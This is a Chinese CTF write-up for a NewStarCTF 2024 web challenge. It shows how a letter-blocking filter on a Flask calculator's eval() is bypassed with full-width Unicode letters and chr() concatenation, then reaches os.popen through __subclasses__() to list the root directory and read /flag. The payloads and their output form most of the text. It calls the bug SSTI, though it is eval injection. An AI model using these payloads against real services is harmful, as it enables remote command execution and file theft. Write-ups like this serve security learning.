NewstarCTF2024-WriteUp-Web篇-臭皮计算机

连接环境。进入/calc,查看源代码，发现py代码

from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
    token = True
    for i in s:
        if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
            token = False
            break
    return token

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

    if request.method == 'POST':
        num = request.form.get("num")
        script = f'''import os
print(eval("{num}"))
'''
        print(script)
        if waf(num):
            try:
                result_output = ''
                with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
                    temp_script.write(script)
                    temp_script_path = temp_script.name

                result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
                os.remove(temp_script_path)

                result_output = result.stdout if result.returncode == 0 else result.stderr
            except Exception as e:

                result_output = str(e)
            return render_template("calc.html", result=result_output)
        else:
            return render_template("calc.html", result="臭皮！你想干什么！！")
    return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=30002)

flask模板，想到ssti漏洞，但是过滤了所有字母，所以这里使用全角英文来替换，如（class -> ｃｌａｓｓ）

则先构造查询pyaload

[].__ｃｌａｓｓ__.__ｂａｓｅ__

查到有以下类

<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>

遍历查找<class 'os._wrap_close'>位置为132

则构造使用这个类中的popen方法，并且执行命令ls /

构造payload如下（这里注明，popen和执行的命令不得使用全角英文，而应使用 chr(对应ascii) 来拼接出来，用‘+’连接，并且最后要用read()读取）

[].__ｃｌａｓｓ__.__ｂａｓｅｓ__[0].__ｓｕｂｃｌａｓｓｅｓ__()[132].__ｉｎｉｔ__.__ｇｌｏｂａｌｓ__[ｃｈｒ(112)+ｃｈｒ(111)+ｃｈｒ(112)+ｃｈｒ(101)+ｃｈｒ(110)](ｃｈｒ(108)+ｃｈｒ(115)+ｃｈｒ(32)+ｃｈｒ(47)).ｒｅａｄ()

最后得到

Result: app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

则构造最终payload

[].__ｃｌａｓｓ__.__ｂａｓｅｓ__[0].__ｓｕｂｃｌａｓｓｅｓ__()[132].__ｉｎｉｔ__.__ｇｌｏｂａｌｓ__[ｃｈｒ(112)+ｃｈｒ(111)+ｃｈｒ(112)+ｃｈｒ(101)+ｃｈｒ(110)](ｃｈｒ(99)+ｃｈｒ(97)+ｃｈｒ(116)+ｃｈｒ(32)+ｃｈｒ(47)+ｃｈｒ(102)+ｃｈｒ(108)+ｃｈｒ(97)+ｃｈｒ(103)).ｒｅａｄ()

得到flag

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• 分类： NewStarCTF
• 标签： ctf web wp writeup